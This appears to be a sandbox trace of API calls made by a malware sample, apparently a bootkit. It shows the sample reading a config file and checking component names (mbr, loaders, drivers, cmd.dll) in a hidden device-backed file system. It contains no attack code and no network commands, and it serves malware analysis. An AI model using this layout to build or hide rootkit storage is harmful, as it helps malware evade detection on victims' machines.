[0130.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.771] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.771] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.771] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.772] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.772] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e6b0 [0130.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.772] KeLeaveCriticalRegion () [0130.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.772] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.772] KeEnterCriticalRegion () [0130.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.772] KeLeaveCriticalRegion () [0130.772] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.772] KeEnterCriticalRegion () [0130.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.772] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.772] IdePortDispatch () returned 0x103 [0130.772] KeWaitForMutexObject () returned 0x0 [0130.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.772] KeLeaveCriticalRegion () [0130.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.773] KeEnterCriticalRegion () [0130.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.773] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0130.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.773] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.773] IdePortDispatch () returned 0x103 [0130.773] KeWaitForMutexObject () returned 0x0 [0130.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.773] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.773] IdePortDispatch () returned 0x103 [0130.773] KeWaitForMutexObject () returned 0x0 [0130.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.773] KeLeaveCriticalRegion () [0130.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.774] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.774] KeEnterCriticalRegion () [0130.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.774] KeLeaveCriticalRegion () [0130.774] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.774] KeEnterCriticalRegion () [0130.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.774] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.774] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.774] KeLeaveCriticalRegion () [0130.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.774] KeEnterCriticalRegion () [0130.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.774] ExFreePoolWithTag (P=0xfffffa800294e6b0, Tag=0x0) [0130.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.775] KeLeaveCriticalRegion () [0130.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.775] ReleaseMutex (hMutex=0xf0) returned 1 [0130.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.775] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.775] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.775] KeEnterCriticalRegion () [0130.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.775] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.775] IdePortDispatch () returned 0x103 [0130.775] KeWaitForMutexObject () returned 0x0 [0130.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.775] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.775] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.775] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.775] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.775] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ffb0 [0130.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.775] KeLeaveCriticalRegion () [0130.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.775] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.776] KeEnterCriticalRegion () [0130.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.776] KeLeaveCriticalRegion () [0130.776] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.776] KeEnterCriticalRegion () [0130.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.776] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.776] IdePortDispatch () returned 0x103 [0130.776] KeWaitForMutexObject () returned 0x0 [0130.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.776] KeLeaveCriticalRegion () [0130.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.776] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.776] KeEnterCriticalRegion () [0130.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0130.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.776] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.776] IdePortDispatch () returned 0x103 [0130.777] KeWaitForMutexObject () returned 0x0 [0130.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.777] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.777] IdePortDispatch () returned 0x103 [0130.777] KeWaitForMutexObject () returned 0x0 [0130.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.777] KeLeaveCriticalRegion () [0130.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.778] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.778] KeEnterCriticalRegion () [0130.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] KeLeaveCriticalRegion () [0130.778] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.778] KeEnterCriticalRegion () [0130.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.778] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294f070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] KeLeaveCriticalRegion () [0130.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.778] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.778] KeEnterCriticalRegion () [0130.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] ExFreePoolWithTag (P=0xfffffa800294ffb0, Tag=0x0) [0130.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.778] KeLeaveCriticalRegion () [0130.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.778] ReleaseMutex (hMutex=0xf0) returned 1 [0130.778] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.778] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.779] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.779] KeEnterCriticalRegion () [0130.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.779] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.779] IdePortDispatch () returned 0x103 [0130.779] KeWaitForMutexObject () returned 0x0 [0130.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.779] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.779] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.779] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.779] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.779] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.779] KeLeaveCriticalRegion () [0130.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.779] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.779] KeEnterCriticalRegion () [0130.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.779] KeLeaveCriticalRegion () [0130.779] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.780] KeEnterCriticalRegion () [0130.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.780] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.780] IdePortDispatch () returned 0x103 [0130.780] KeWaitForMutexObject () returned 0x0 [0130.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.780] KeLeaveCriticalRegion () [0130.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.780] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.780] KeEnterCriticalRegion () [0130.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0130.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.780] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.780] IdePortDispatch () returned 0x103 [0130.780] KeWaitForMutexObject () returned 0x0 [0130.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.781] IdePortDispatch () returned 0x103 [0130.781] KeWaitForMutexObject () returned 0x0 [0130.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.781] KeLeaveCriticalRegion () [0130.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.782] KeEnterCriticalRegion () [0130.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] KeLeaveCriticalRegion () [0130.782] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.782] KeEnterCriticalRegion () [0130.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294eac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] KeLeaveCriticalRegion () [0130.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.782] KeEnterCriticalRegion () [0130.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.782] KeLeaveCriticalRegion () [0130.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.782] ReleaseMutex (hMutex=0xf0) returned 1 [0130.782] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.782] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.782] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.783] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.783] KeEnterCriticalRegion () [0130.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.783] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.783] IdePortDispatch () returned 0x103 [0130.783] KeWaitForMutexObject () returned 0x0 [0130.783] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.783] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.783] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.783] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.783] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.783] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.783] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.783] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.783] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.783] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.783] KeLeaveCriticalRegion () [0130.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.783] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.783] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.784] KeEnterCriticalRegion () [0130.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.784] IdePortDispatch () returned 0x103 [0130.784] KeWaitForMutexObject () returned 0x0 [0130.784] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 